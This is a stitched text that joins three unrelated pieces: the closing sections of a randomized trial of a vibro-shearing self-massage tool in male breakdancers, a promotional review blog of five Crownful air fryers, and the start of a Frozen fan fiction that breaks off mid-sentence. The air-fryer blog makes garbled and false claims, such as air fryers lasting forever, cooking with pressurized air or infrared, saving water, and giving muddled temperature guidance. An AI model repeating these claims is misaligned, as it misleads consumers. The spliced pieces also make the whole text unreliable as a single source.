only, with the control (untreated) legs basically remaining unchanged. Stiffness reduced, while elasticity increased in the treated thigh. Elasticity of the ITB of the right thigh, however, did not change. The failure to find a change in the elasticity of the ITB is not surprising given that a certain level is required for lateral knee stabilization. The ITB serves to reinforce the fascia lata and divides the QM from the hamstring. Its inner side is in continuity with the lateral intermuscular septum, while on its posterior side, the majority of collagen fibers of the ITB are in continuity with the intramuscular septa [32]. The myofascial force transmission between gluteus maximus and lower leg muscles via the fascial lata shows the important role of the ITB in the movement patterns of the lower extremities. An increased range of movement was achieved in the treated QM (MPTT, MPrTT). Bradbury-Squires et al. [4] also found increases, ranging from 10 to 16%, for knee-joint ROM with applying a roller massager for 20 and 60 s on the QM. Although the ischiocrural muscles (MFFD) were not treated by the participants, a significant change pre- to post-treatment in ROM was found. A coherence between the ITB and the ischicrurale muscles was also observed by Kwak et al. [33]. Hence, loading the ITB alters the kinematics and contact pattern of the tibiofemoral joint similarly to loading the hamstrings. The intervention tool, the Fascia-ReleaZer®, with its combination of vibrational oscillation, leverage, and specific edges for a shearing manipulation of the myofascial tissue, thus seems useful. However, as all features were combined, it is not possible to determine which component contributed most to the effects observed. Possible Effects Due to Vibrational Oscillation The physiological mechanism of vibrational oscillation that decreases stiffness and increases elasticity in myofascial tissues is uncertain. Several studies have pinpointed the mechanoreceptors, mainly the Pacinian corpuscles in connective tissues, ligaments, and joints, and the primary endings of the muscle spindles that are particularly sensitive to vibration [34]. The restorative effect of rhythmic low-frequency mechanical oscillations is frequently attributed to improvements in circulation, enhanced capillary permeability, and the transport of metabolites accumulated during previous work. Some have hypothesized that vibration-induced increased ROM could be due to reduced passive muscle stiffness through a decreased number of residual cross-bridges, some of them being broken by the mechanical vibratory stimulation [14, 35]. Some researchers have reported anesthetic effects due to the vibrational massage [36, 37]. Our findings of pain desensitization, manifested as decreased subjective pain threshold pre- to post-self-treatment on the treated leg, corroborate these findings in the literature. The PSQ values describing the treated leg as more relaxed, light, and stable are consistent with the findings of other studies describing a general relaxation, relaxation of myofascial tissues, a decrease of emotional tension, and general sedative effect through application of a roller massager [15]. Possible Effects Due to Leverage Participants were able to apply the pressure using their own hands. An individual modification of the pressure could be moderated according to the perceived subjective pain pressure. Comparing the present self-help tool with other SMR tools, such as foam rolling, the entire body weight has to be applied and modification of weight is more difficult to regulate. Consequently, in order to hold one’s own body weight over the treatment duration in other SMR tool applications, such as foam rolling, proper shoulder and core muscle stabilization and sufficient strength in the upper extremities are required [1]. (GT). In comparison to the self-help methodology of the Fascia-ReleaZer®, the GT needs to be applied by a trained clinician and, as yet, has not been adapted for self-application [38]. The GT treatment is thought to stimulate connective tissue remodeling through resorption of excessive fibrosis, along with inducing repair and regeneration of collagen secondary to fibroblast recruitment. This, in turn, results in the release and breakdown of scar tissue, adhesions, and fascial restrictions. The Fascia-ReleaZer® tool may operate in a similar manner, as it is also applied with pressure and incorporates specific edge features. As these tools differ in a number of key respects (i.e., material, technique, and treatment protocol), comparative analyses will need to be designed in a way that takes these differences into account. Possible Effects Due to The Specific Edges The Fascia-ReleaZer® tool has four different edges in order to reach different parts of the myofascial tissue depending on the desired technique, fast versus slow. Clinicians may consider the fast shearing technique of the Fascia-ReleaZer® a form of gua sha, but the treatment rationale, goals, and application differ. Gua sha, therapeutic surface frictioning that intentionally raises transitory petechiae and ecchymosis, is a traditional East Asian healing technique. A smooth, rounded edge is press-stroked into the flesh enough to contact the fascial layer but not so firm that it causes pain or discomfort. Modern studies confirm a thermoregulatory function involving surface microcirculation, wherein increased skin blood flow in subpapillary tissue layers effectively conducts away heat [39, 40]. Our hypothesis assumes that increased blood circulation is stimulated in order to improve the metabolism and blood flow of the treated structures. The significant thermometer temperature increases as well as our thermography findings support this notion. Conclusions The vibro-shearing manipulation with a muscle-fascia tool resulted in significant improvements in the objective mechanical tissue properties. Pain desensitization, range of movement, and thermography improved significantly as well. The fact that mood states remained relatively constant suggests that reactivity or demand effects were not in operation. Tool-assisted self-treatment with the Fascia ReleaZer® shows preliminary evidence of being an effective treatment modality, one that warrants further research, with a possible next step being application with a clinical population. Assuming effectiveness within a clinical setting, another further direction might involve a component or dismantling design to help pinpoint the relative contributions of the various features of the device. Investigations aimed at providing greater understanding of effects on the cellular level seem worthy of pursuit as well. Finally, although not feasible in this study, use of assessors blind to condition would add increased rigor in future studies. Abbreviations - ANOVA: Analysis of variance - B-Boys: Breakdancers - DOMS: Delayed onset muscle soreness - DV: Dependent variable Fascia-ReleaZer® - GT: Gaston® Technique - IASTM: Instrument-assisted soft tissue mobilization - ITB: Iliotibial band - IV: Independent variable - MANOVA: Multivariate analysis of variance - MFFD: Modified Finger-Floor Distance Test - MPrTT: Modified Thomas Test with Pressure - MPTT: Modified Passive Thomas Test - POMS: Profile of Mood States - PPT: Pain pressure threshold - PSQ: Physical Sensations Questionnaire - QM: Quadriceps muscle - ROM: Range of motion - SMR: Self-myofascial release - VM: Vibratory massage References Healey KC, Hatfield DL, Blanpied P, Dorfman LR, Riebe D, Hatfield DL. The effects of myofascial release with foam rolling on performance. J Strength Cond Res. 2014;28(1):61–8. MacDonald GZ, Button DC, Drinkwater EJ, Behm DG. Foam rolling as a recovery tool after an intense bout of physical activity. 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Foam rolling for delayed-onset muscle soreness and recovery of dynamic performance measures. J Athl Train. 2015;50(1):5–13. Chan YC, Wang TJ, Chang CC, et al. Short-term effects of self-massage combined with home exercise on pain, daily activity, and autonomic function in patients with myofascial pain dysfunction syndrome. J Phys Ther Sci. 2015;27(1):217–21. Gehlsen GM, Ganion LR, Helfst R. Fibroblast responses to variation in soft tissue mobilization pressure. Med Sci Sports Exerc. 1999;31(4):531–5. Laudner K, Compton BD, McLoda TA, Walters CM. Acute effects of instrument assisted soft tissue mobilization for improving posterior shoulder range of motion in collegiate baseball players. Int J Sports Phys Ther. 2014;9(1):1–7. Edge J, Mundel T, Weir K, Cochrane DJ. The effects of acute whole body vibration as a recovery modality following high-intensity interval training in well-trained, middle-aged runners. Eur J Appl Physiol. 2009;105(3):421–8. Fiodorov VL. Vibratory massage. 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Kwong KK, Kloetzer L, Wong KK, et al. Bioluminescence imaging of heme oxygenase-1 upregulation in the Gua Sha procedure. J Vis Exp. 2009;28(30):e1385. Acknowledgements The authors would like to acknowledge Jens Nonnenmann and Daniel Schuster for their invaluable assistance with completing aspects of the study. We also express our gratitude to the Urban Dance Health Organization for assisting with recruitment and all the B-Boys for their willingness to participate. Funding The authors would like to acknowledge the following organizations for their important financial support—Damus-Donata Foundation and Mahle Foundation. Availability of Data and Materials N/A. Ethics declarations Authors’ Information Not applicable. Ethics Approval and Consent to Participate The study was conducted in a manner consistent with the Declaration of Helsinki and was granted for approval by the Ethics Committee of the University of Tübingen. All participants provided informed consent to participate in this study. Consent for Publication Not applicable. Competing Interests Christopher-Marc Gordon is the inventor of the Fascia-ReleaZer®, but he does not hold the product patents. However, he receives license fees from the product company. All other authors (Sophie Manuela Lindner, Niels Birbaumer, Pedro Montoya, Rachel L. Ankney, and Frank Andrasik) declare that they have no competing interests. Publisher’s Note Springer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations. Additional file Additional file 1: Relationship of the displacement oscillation (S) and oscillation velocity (V) in relation to the oscillation acceleration (a). After the single mechanical impulse is delivered and quick-released under constant precompression, the tissue being measured responds immediately in the form of a damped oscillation, causing the co-oscillation of: a) a tissue being measured, b) the pre-compressed subcutaneous tissue layers above the tissue (i.e., superficial skeletal muscle), c) the testing-end, d) measurement mechanism, and e) accelerometer attached to the measurement mechanism. Damped oscillation of a soft biological tissue is registered in the form of an acceleration graph ordon, CM., Lindner, S.M., Birbaumer, N. et al. Self-Myofascial Vibro-Shearing: a Randomized Controlled Trial of Biomechanical and Related Changes in Male Breakdancers. Sports Med - Open 4, 13 (2018). Received: Accepted: Published: DOI: Keywords - Tool-assisted self-myofascial release - Fascia-ReleaZer® - Tissue stiffness - Tissue elasticity - Range of motion - Pain pressure threshold - Breakdancer - IASTM

Tips and Reviews on Best Crownful Air Fryers Reviews in 2022 If you are finding a great air fryer for you and your family, then Crownful Air Fryers is one of the famous brands that you have to consider. In this blog, I will give you all you need to choose a suitable air fryer. The world is going more and more towards a healthier lifestyle. Air fryers are an amazing invention, saving you time and money. With this in mind, many people are turning to air fryers to achieve the crispy texture they desire without all of the fat that comes with deep frying foods. They use hot air to cook food by circulating the hot air around the food so it is cooked evenly. It’s never been a better time to invest in an air fryer. The market is absolutely flooded with different models, and it can be hard to find the best one for your needs. In order to help you decide on which one would be best for your needs, I have done some research and narrowed down the top 5 favorite Crownful Air Fryers from Amazon. In this blog post, we will discuss how each product can meet your cooking needs while also giving you my honest opinion about what I liked or didn’t like about each of them so you can make an informed decision when purchasing your own Crownful air fryer! Top 5 Best Crownful Air Fryers Reviews in 2022 1) CROWNFUL 10-in-1 10.6 Quart Air Fryer Toaster Oven Explore the many different functions of this Crownful Air Fryer that will make it easier to cook all your favorite comfort foods without all the oil in ways you never thought possible. Buy one for yourself, or give it as a thoughtful Christmas present in our holiday shop. Make healthier versions of all your family’s favorite fried foods with this multifunctional oven! With only small amounts of oil, cooking is perfect for frying chicken, fries, onion rings, and more! This air fryer combo can also roast veggies with less fat than ever before, baking crispier crusts on meats too. Prepare delicious recipes coast to coast when using this awesome device that has functions like grilling fish fillets or fish & chips with ease. The air fryer gives you a number of controls and cooking modes for a range of foods. The Crownful air fryer features easy-to-use digital touch screen controls with bright LEDs on the front. Therefore, it is easier to see what kind of food you have selected and the time, temperature, or other settings that are available for that dish. This magical appliance has a large capacity that can fit 10.6 quarts worth of fried goodies and it cooks quickly and efficiently. This Crownful air fryer includes comprehensive instructions and a recipe book, like recommending preheating times specific to different types of meat and poultry as well as fruit and vegetables. Plus, cleaning this baby is a breeze with the door detaching from the oven for easy access to all those dark corners! It’s going to be hard not having an excuse to make fries in this Crownful air fryer! Features: - Safety features with auto-shutoff and overheating protection - Touch screen display with light and 10 preset cooking functions - 10.6-quart cooking capacity with several shelve-positions - Come with a recipe book and several nonstick accessories - Compact design with a see-through detachable door - Temperature range from 90 to 400 degrees F Pros: - Can roast a whole 3-pound chicken - Perfect for cooking rotisserie chickens - The touch screen is easy to use and cook effectively - Save counter space Cons: - The cleaning is not quite easy as described but it is acceptable 2) CROWNFUL 19 Quart Air Fryer 10-in-1 Countertop Toaster Oven With its 10-in-1 superpowers, the Crownful 19 Quart Air Fryer is sure to give you a break from your busy schedule. This amazing cookware combo prepares delicious meals with less mess and fuss – all without sacrificing taste! Now cooking can be hassle-free and fun for both adults and children of different skill levels. With multiple functions, it allows families of varied cuisine preferences to share a kitchen appliance that satisfies each of their palates. Save yourself some time by reveling in this gadget’s fast cooking abilities – prepare up to two entrees at once with its powerful convection fan that cooks food evenly from the top as well as from the bottom of any pot or pan! The Crownful Air Fryer is a commercial grade fryer with an amazing capacity of 19 quarts. You will be able to cook dishes and whole chickens without running the risk of over-crowding your small fryers at home, which can cause those stinky chicken flavorings to overflow onto the other dishes you’re cooking. It has two heavy-duty steel racks that slide in and out as needed so that large or smaller foods such as wings or shrimp work beautifully too. The accessories ensure that there are no more questions on what you should make next because it comes with a cookbook including various sumptuous recipes perfect for family functions or guest dinners. With it comes a cookbook with sumptuous dishes that will surely satisfy your taste buds as well as the whole family’s appetite! Enhance your interior décor while also giving yourself a crucial kitchen appliance. The possibilities of this Crowful air fryer are endless with what you can do in this air fryer so don’t waste another minute going without one! Features: - Overheating protection with automatic shutting off - Wide adjustable temperature range from 120 to 450 degrees F - 19-quart cooking space with multiple shelves cooking - Simple LED display with knobs and buttons - Come with a 53-recipe booklet and useful nonstick accessories Pros: - Perfect for large families and parties - The window is made of glass so you can watch inside during the cooking time - Extremely easy to use and operate - Air fried foods taste similar to deep-fried Cons: - Take time to heat up longer than expected 3) CROWNFUL Air Fryer Toaster Oven 32 Quart Convection Roaster This is where the supreme solution to any kitchen battle lies! Shredded potatoes, marinated chicken breast, buttered buns, and a wide assortment of vegetables – all cooked in supreme style with this 32 Quart air fryer. The cookstown craves no attention while it cooks so you can do what you please in your kitchen. It’s compact yet large enough for anything we tell it to do: roast turkey and baked potatoes, steam broccoli and grilled veggies, or deep fry shrimp and onion rings. The Crownful air fryer is the ultimate multi-purpose cooking appliance. It has 8 settings to make it easy for you to bake, toast, rotisserie, broil, or dehydrate with just a few simple presses of your buttons! You can enjoy fried foods even if it’s on the healthier side, with only little oils being used to produce delicious crispy textures. So, satisfy your cravings without worrying about extra calories! Crownful Air Fryer never disappoints! Let this be your all-in-one appliance that simplifies life because there’s really not much to ask for when you have everything just how it should be. Features: - Safety features such as auto shutoff and overheats protection - Large cooking capacity with 32 quarts - Simple LED display with control knobs and buttons - 8 preset cooking options - Range of temperature from 150 to 450 degrees F - Several accessories with a useful cookbook Pros: - The stainless steel design looks compact, modern and amazing - Can fit up to a whole 5.5-pound chicken or a 12” pizza - Perfect for families of 4 to 6 - Easy for cleaning - Run quietly and smokeless Cons: - The preheating takes a lot of time 4) CROWNFUL 7 Quart Air Fryer This Crownful Air Fryer is your savior when it comes to cooking. If you want the taste of fried chicken, but don’t want all the unhealthy excess fats associated with deep frying, our fryer can solve that for you in a snap. This fryer has a large capacity of 7 quarts and allows you to adjust cooking time and temperature according to your recipe requirement. This fryer is packed with smart features to make any meat cook perfectly without overcooking or burning anything. Say goodbye to unhealthy meals! When you need a healthy alternative to fried favorites, this Crownful air fryer is the perfect tool. It’s simple enough for preparing healthy and responsibly without any hassle. The digital settings make it easy to cook your favorite foods quickly while still producing that satisfying crunch on the outside we all love in some of our favorite dishes. With so many preset settings and intuitive controls, creating flavorful meals for your family couldn’t be easier! The sleek stainless steel design will fit right into your existing kitchen decor and liven up any home cooked meal. Features: - Digital touch screen display with 12 preset cooking options - Temperature range from 180 to 400 degrees F - Timer range from 0 to 30 minutes - 7-quart cooking basket with a nonstick frying pan - Come with a 50-recipe book and a 1-year assurance from the manufacturer Pros: - The design looks beautiful and simple, perfect for minimalist people - No burning plastic or chemical smells at all - The presets are great and easy to use - Save counter space with a compact design - Easily cleaning with nonstick parts Cons: - The instruction is hard to understand because it seems to be translated from another language 5) CROWNFUL 5 Quart Air Fryer No need for you to turn up the heat high in your house anymore. This Crownful Air Fryer is perfect for cooking any of your favorite meals without taking away its natural flavors, but still giving it a crunchy taste. The fryer offers a way to reduce up to 80% of the fat traditionally found in any deep-fried food, making it an ideal air fryer for anyone wanting a healthier alternative. With this one appliance, you have an entire kitchen at your fingertips! You can do everything from deep frying to baking or slow-cooking on just one device. The air fryer offers presets for fast food chains like french fries, steak, shrimp, chicken fingers and cake-baking; or forget all of that nonsense and create something uniquely yours by setting your own customized preset. This means you can make everything from filet mignon fillets (or thin delectable thin onion rings!) deliciously crispy fried fish (perfectly crispy on the outside but lightly cooked inside), to fresh steamed broccoli or perfectly Not only does it give more importance on time management (no waiting around all day for food!), it also saves space on your counters with its sleek design and versatility which makes this an excellent choice if enhancing floral patterns are something that mean the world to you. Features: - Touch screen digital control display with 7 cooking presets - 5-quart nonstick basket with frying pan - Safety features include auto shutoff and overheat protection - Temperature range from 180 to 400 degrees F - Sleek design with a 60-minute timer - A cookbook and 1-year warranty from Crownful manufacturer Pros: - Cooking space saver with minimalist and luxury appearance - Easy and intuitive to use with quick and wonderful food results - Extremely easy to clean up Cons: - The beeping volume is quite noisy Benefits of Best Crownful Air Fryers By now, with so many air fryers flooding the market as an addition to our cooking appliances, you may have gone through different air fryer reviews and might have been wondering what benefits you can get from this appliance. Since there are quite a number of benefits that come from owning crownful air fryers, I have decided to highlight some of them below: Air fryers use less oil to cook healthy foods: As the name implies, the crownful air fryer uses hot pressurized air to cook your food. This means that it uses less oil than any other traditional deep fryers but still cooks food with the same crisp and taste. This makes it a healthier option for cooking compared to deep frying methods since you can still achieve that crispy and delicious fried food without using excess oil. Foods cooked in an air fryer take up much less space: The best thing about these appliances is that they are pocket-friendly when it comes to their size. Most of them don’t take up too much countertop space making them easy to store when not in use without having to worry about cluttering your kitchen. This makes it a perfect appliance for people who want to make healthier meals but don’t have much space in their kitchens to store appliances. Air fryers cook food quickly: One of the biggest benefits of owning a crownful air fryer is that they cook your food very fast compared to deep frying methods since hot pressurized air only takes a few minutes to transform raw ingredients into delicious and crispy treats that you can enjoy with the whole family. They are budget-friendly: Unlike ovens, crockpots, and other popular cooking accessories, air fryers come at an affordable price so if you are on a tight budget or simply looking for cheap cooking appliances then these will definitely fit your needs without having to break the bank. Air fryers are eco-friendly: With an appliance that uses hot pressurized air to cook food, you will find that you do not have to use too much oil or gas since these cooking methods both use less power and water which is better for saving our planet from global warming. These appliances also come with a safety switch which makes it safer than other options on the market if you have kids at home making them a perfect choice for homes with curious kids without having to worry about your children getting burnt by boiling oil. They produce less odor: Unlike ovens and deep-frying methods, Crownful air fryers produce very few odors so they can be used even in homes where people might suffer from allergies or asthma. This makes them a perfect cooking method for people who love to cook but don’t want to share with the rest of the family. You can dehydrate your food with air fryers: Even though most air fryers cannot dehydrate your food, you can still use it as a dehydrator and this will depend on the model that you purchase. If you happen to buy an air fryer that is designed specifically for dehydrating then you won’t be limited since these appliances come equipped with special accessories such as trays and fans which make using them as dehumidifiers easy and efficient. Air fryers are versatile: Unlike other kitchen appliances, you will find that they have multiple uses so if you hurry to buy one you might end up with an appliance that can be used for many purposes. That means that these appliances are perfect to have around the house since they will come in handy when you need them even though you don’t have a recipe to cook or dehydrate. Air fryers are safe: One of the biggest fears people have when using different appliances is being burnt by boiling water, oil, cinders, etc but these cooking methods are completely safe since there isn’t any combustible fuel. Therefore, if you haven’t owned other appliances or are illiterate in this field then Crownful air fryers should be your priority option due to their safety measures. They are easy to operate: Unlike conventional ovens which take some time to warm up and cool down, you will find that these appliances come with pre-programmed settings so all you have to do is enter the cooking time and press start to get delicious food. You can write your favorite recipes in a notebook for future use especially if you are a professional chef since air fryers come equipped with useful accessories such as trays, racks, tongs, etc which also makes them easy to clean after cooking. Air-fried foods have crispy exteriors: Since hot pressurized air surrounds your food from all sides then the pressure helps to seal the exterior of your food making it crispy on the outside but tender on the inside just like conventional ovens do when roasting meat or baking cakes. The same goes for deep frying foods since the pressure from below helps to seal the exterior making your food crunchy on the outside and juicy on the inside. They are safe for kids: After exploring this article, you should feel more confident about buying a Crownful air fryer as these appliances have been designed specifically to be used by people of all ages. So if you have a baby or toddler at home then buying an air fryer would give you peace of mind knowing that your child won’t burn themselves with boiling oil or water. It is a great way to introduce cooking as a fun activity without having to worry about your children coming into contact with hot surfaces such as stovetops which makes them perfect even for preschoolers. Air fryers reduce smoke: One of the biggest concerns people have with using different appliances is the amount of smoke they produce but since these appliances work with hot air then there is no smoke produced at all. This makes them a perfect option for any home whether you want to cook or dehydrate your food since they will do it without producing any bad smell and this also means that you won’t be disturbing others around you. Buying Guides for Best Crownful Air Fryers What to Look for When Buying an Air Fryer? An air fryer is a kitchen appliance that blows hot air around the food at high speeds in order to quickly cook the exterior of your food while allowing your food to become crispy. The device works by circulating fast-moving hot air around the food in order to seal in moisture. When it comes to buying a Crownful air fryer, there are a number of factors you will want to consider. Size and Capacity An air fryer is great for cooking quick, single servings of food. However, many air fryers can also be used to cook for multiple people at once. If you are looking for a device that will cook food quickly and efficiently while making a small amount of food, then an air fryer is going to be ideal for you. On the other hand, if you want a device that cooks a large amount of food at once then an oven or stove would likely be a better choice. Functionality When it comes to looking for a Crownful air fryer, there are a number of factors you will want to consider that pertain to the device’s functionality. One of the most important functionalities that any air fryer should possess is adjustable heat settings. This enables home cooks to easily cook at their desired temperature whether it be low, medium, or high depending on the type of food they are cooking. In addition, some models come equipped with preset timers which helps simplify the cooking process by automatically shutting off after a certain period of time has passed. Cost When it comes to buying any product, consumers should always consider the price before they make their purchase decision. In terms of Crownful air fryers, prices can vary from as low as $100 all the way up to several hundred dollars or more. If you plan to use your device often then it would likely be a good idea to invest in a higher-priced model as they will typically have additional features and capabilities that smaller, lower-cost devices do not possess. In addition, if you are looking for an air fryer with a large capacity or one that can accommodate multiple servings of food, then it would likely be advantageous to purchase a unit with a high price tag since these units tend to come equipped with the same basic features found on their cheaper counterparts. Portability and Build When it comes to traveling or storing your air fryer in a small kitchen space, then portability is going to be a factor you will want to consider. Many models of air fryers come equipped with a stand and enclosure, making them perfect for use in a dorm room or small apartment. However, if you are looking for a device that is lightweight and can easily be moved from one location to another then a small air fryer with enclosed sides would likely not be ideal for you. In addition, when shopping around look at the weight of each unit as well as its dimensions. An air fryer should have enough heft so that it does not slide across the counter when in use but is still light enough that it can be easily transported. Easy Care and Maintainance A common problem with many kitchen appliances is that they are often difficult to clean. This can be an issue for home cooks if the device requires frequent cleanup or maintenance due to food build-up on non-removable parts. When shopping around, it is always best to look at the material that the air fryer is constructed out of. Air fryers typically come equipped with a non-stick coating for easy cleaning scenarios while stainless steel models are sometimes more difficult to keep pristine and shiny. It may also be beneficial to find a Crownful air fryer model that comes with accessories such as a brush or scraper which would promote easier cleanup after use. Accessories Lastly, the accessories that come with an air fryer should also be considered. They can vary from model to model so it is important to find an air fryer that comes equipped with the accessories you need for a smooth cooking process. As you can see there are several different aspects and features you will want to look out for when buying an air fryer. Keep these guides in mind as you shop around and look for an air fryer that would be perfect for your individual needs. How to Cook with Best Crownful Air Fryers How do you use a Crownful Air Fryer rotisserie? A rotisserie air fryer is a cooking tool that uses the modern technology of air frying. As a result, it can be placed in any household kitchen and used to speed up cooking time while using less oil than other deep fryers. It’s designed for home use by cooking a variety of foods that are typically fried, but with little to no oil or grease. This includes chicken, beef, pork, and even fish. Here are the steps to use the rotisserie function of this air fryer: Step 1: Prepare your ingredients for cooking. Season them with salt, pepper, or spices to taste. Keep in mind that the rotisserie basket is small, so you may need to cut some foods into pieces if they are too large. Step 2: Place the Crownful Air Fryer on top of a sturdy, flat surface where it will not be bumped accidentally. Place the ingredients inside the basket and place it onto the heating element of the air fryer’s base unit. Make sure it’s locked tightly in place so that your food does not fall out while cooking. Step 3: Plug in your air fryer and set the temperature to 350°F if you want to cook crispy fried foods without oil while using the rotisserie function. Set the temperature to 375°F if you want a softer or more juicy texture with less heat. Step 4: Press down on the top of the rotisserie knob and turn it clockwise until you hear a click, locking it into place. This is how you tell that your air fryer has been set up for rotisserie cooking. If you press the knob again and turn it counterclockwise, this will release it from its locked position so that you can open your air fryer’s lid safely. Step 5: Turn on your air fryer and allow food to cook until desired texture is reached. Keep an eye on your food as some foods may require a shorter cooking time than others or a slightly different temperature setting. Step 6: Use the quick-release method to stop air frying, which is done by pulling on the rotisserie knob and turning it counterclockwise until you hear it click again. This will unlock your rotisserie from its locked position so that you can safely open your air fryer’s lid without burning it yourself. Then simply remove the food from the basket with tongs and serve hot, crispy, fried foods straight out of an air fryer! How do you dehydrate in a Crownful air fryer? First of all, the Crownful is a professional state-of-the-art cooker that uses infrared technology to cook meals quickly without hot oil or heating elements. We are focused on creating dehydrated food samples of different types for this section. Here are the steps: Step 1: Turn on your air fryer and ensure it reaches maximum temperature. Step 2: Wash the vegetables you plan on dehydrating thoroughly. Step 3: Cut the vegetables into thin strips, no more than 1/4 inch thick. You can cut them thin or thicker according to your own preference of texture and crispiness level. Step 4: Place them in a large bowl and add salt and pepper to taste. I recommend adding spices after dehydrating because this will allow their flavors to come out better when rehydrated later on, but you can season beforehand if you wish. Step 5: Transfer everything from the bowl to the air fryer’s tray and spread them evenly so none overlap each other too much (this is important for them to dehydrate properly). Step 6: Set the temperature on your air fryer to no higher than 200 degrees F. You can set it lower if you wish, but I do not recommend setting it above this temperature. Step 7: Wait about 4 hours and check up on your food at intervals of 15 minutes or so. Take out any pieces that are crispy by now, let the rest continue to cook, and then repeat step 7 until all of your ingredients are finished. When done, transfer them onto paper towels so excess grease will be absorbed by them (this is especially true if you used salt pork or other types of meat in your recipe). FAQs about Best Crownful Air Fryers Is an air fryer the same as a toaster oven? Yes, nearly. An air fryer is a type of toaster oven that uses hot air and a minimal amount of oil to fry, roast, and bake food. Unlike a traditional deep fryer, an air fryer doesn’t use as much oil. It has a unique design with a metal mesh basket on top which helps circulate hot air around the food for more even cooking. Air fryers also have settings for low or high heat, depending on whether you want to cook something quickly or slowly. In general, the less oil you need when cooking is healthier because it reduces your calorie intake without sacrificing taste! Plus there’s no waiting for your food to cool down before you can eat it – usually, 20 minutes is all it takes after coming out of the air fryer. Are air fryers worth the money? More and more people are asking about air fryers these days because it’s a really nifty way of cooking food. With the help of hot air, you can make better versions of standard fried foods without all the oil or fat that usually goes along with frying. The result is healthier food that’s just as delicious! How long does it take to toast bread in an air fryer? It takes about 3 minutes and 30 seconds to toast bread in an air fryer, at 346 degrees Fahrenheit (or 180 degrees Celsius). What is the best temperature to toast bread? The best way to achieve toasting is to cook your bread at 400 degrees Fahrenheit for 5 minutes on each side. Toasting bread seems simple enough with Crownful air fryers, but there are a few variables involved in perfecting the process. You don’t want to burn it, and you also want to make sure that it’s sufficiently warm before you eat it. Toast is a quick snack or accompaniment to a meal – not a culinary mainstay – so the ideal toast should be warm and crispy on the outside yet light and fluffy on the inside, with just enough browned surface area to add flavor. What does a 9 in 1 Air Fryer do? The 9 in 1 Air Fryer is a multifunctional kitchen appliance that can easily replace multiple cooking appliances. With an internet-connected device, we can now streamline and consolidate our kitchen appliances for this single, all-in-one machine. This mainly functions as a mini oven that cooks food using hot air and uses little or no oil. It also functions like a dehydrator (for making dried fruit and jerky), smoker (that gives food an authentic barbecue taste!), steamer, warmer, soup maker, yogurt maker, and bread maker. How long do air fryers last? I have heard it asked once or twice. The simple answer is they last forever. Seriously, the electronics are solid-state, similar to that of a computer motherboard, and don’t wear out like an air popper’s heating element would. That said, if you run one 24/7 for 24 years you might experience some degradation in its vaporizing efficiency (not likely). And with regular use, your Crownful air fryer will continue to produce awesome foods for two decades or more. Conclusion about Best Crownful Air Fryers After reading this article, you should have a better idea of which Crownful air fryer is the best for your needs. Crownful air fryers are a great way to get that crisp and crunchy texture without the guilt of too much fat. I have selected some of our favorite models on the market to help get you started in narrowing down your search. Remember that these are just suggestions based on my experiences and customers’ reviews with each product category. So there may be one or two more out there that might suit your specific cooking preferences even better than what I mention here! That being said, whichever model you choose, make sure it has good customer reviews before taking the plunge. Happy shopping! Read more: Nuwave Brio 10 QT Air Fryer Best Air Fryer Pressure Cooker

Featured image art by PURY (@puryartist) Arendelle. 1843 “I haven’t seen her around here before.” “She’s so beautiful!” “I mean, I see more and more people moving into the kingdom every year, but I can’t help feeling that she’s special…” Anna was on her morning stroll, among comfortably lined homes and shops beyond the plaza, when she overheard Vera, her favourite chocolatier, gossiping with patrons about some new arrival. Curiosity piqued, she peeked past the wooden door to the Berg Sweetshop, which was open to let the pleasant light and fresh air in to the charming candy shop. “How are you all, ladies?” greeted Anna cheerfully. “Hello, Your Majesty!” replied the middle-aged women happily. “I’ve said it many times and I’ll say it again: when I’m out and about, I’m not ‘Your Majesty,’ just Anna!” said the younger queen kindly. “And that is one of many things that will never change.” “Oh, we know you keep on saying that,” said Vera, chuckling. “But we’ll keep on ignoring you because we love and respect you too much. And soon you’ll be a happy missus, as well – to His Highness Kristoff of the Princely House!” “Oh, you’re sweeter than the candy I buy from you and stuff myself with! Now, are you guys talking about some new resident?” inquired Anna, beaming. “Who are we welcoming today?” “Well, I’m not sure if she’s a resident,” said Vera, adjusting her spectacles, “and she may well just be passing through. In any case, there’s a particularly beautiful young lady who’s been wandering around the village and the dockside, turning all manner of heads, even in a bustling kingdom like ours.” “One could say that she’s as eye-catching as your sister, Elsa,” added one of the matronly customers. “We don’t say that lightly.” Anna whistled. “That is impressive. Did she divulge her name to anyone yet?” “No,” came a light and gentle voice from behind, “but I’m happy to tell it to you, Your Majesty.” Anna turned around, her aqua eyes falling on an admittedly stunningly attractive face: a redhead, like her, but with shorter and more intense auburn tresses. She had perfectly proportioned cheekbones, and her olive eyes were both sensual and wise. She was dressed in an unremarkable Arendellian dress, her build short and slender. Anna blinked a bit, before reaching out with a hand. “Wow, you’re totally what Vera says you are,” she said, as the stranger shook hands with her. “I mean, we’re a small kingdom, but plenty of people come and go, so when you’ve got local tongues wagging, you know you’ve made an impact!” “You flatter me, Your Majesty,” said the redhead, exuding a benevolent and alluring air. “Please, just Anna,” repeated the monarch, as they set off for another round of walking, with Anna bidding Vera and her friends goodbye. “Welcome to Arendelle, love. Our kingdom is open to all. Have you tried walking along the hills? It’s quieter up there and you can start seeing the edge of the mountainside where we can go into the beautiful forest.” “Yes,” said the young woman, nodding and smiling. “So – are you moving here or visiting? Business, leisure, or lifestyle?” prodded Anna, as they walked up the sloping path, away from the town centre. “Well, I’m just a traveller. And I’ll be leaving today,” said the visitor, turning to look at Anna, “because now I’ve seen you for myself and I already know in my bones that you’re a kind, thoughtful and loving person. You’re a wonderful ruler, perhaps the most genuine Arendelle has ever had apart from Elsa.” She pursed her lips. “I know because I can see your heart.” Anna smiled awkwardly. “Uh… yeah. Thanks.” She paused, looking at her quizzically. “Assuming you can get to know me so well in just a few minutes.” “I can,” said the woman, without blinking. Anna pretended not to hear that so she wouldn’t need to challenge such a ridiculous statement. “You’re leaving today? You must be a frequent traveller,” she said, changing the subject. “Yes. But you are, too. I read in the newspapers that you went to Saint Petersburg a few weeks ago, to negotiate with Princess Katina Romanov.” The young woman’s smile wasn’t mirthful anymore. “Those negotiations evidently failed, but I’m here to see if you’d be willing to reopen them with me.” Anna suddenly felt her muscles tense as she stared at the friendly face in front of her, at the hair that was redder than hers and the lips that were smoother. “Excuse me? I’m not sure if you have anything to do with state matters – forgive me for being blunt.” The mysterious woman replied, with no hint of irony or parody: “I know you refused to align with Russia’s policy of containing the Western European powers, but I want to convince you that it’s a small price to pay for peace with Katina. A war could be prevented if negotiations are extended and realized. I’ve been familiarizing myself with Arendelle, and I was wondering if you’d reconsider Katina’s offer. Then I 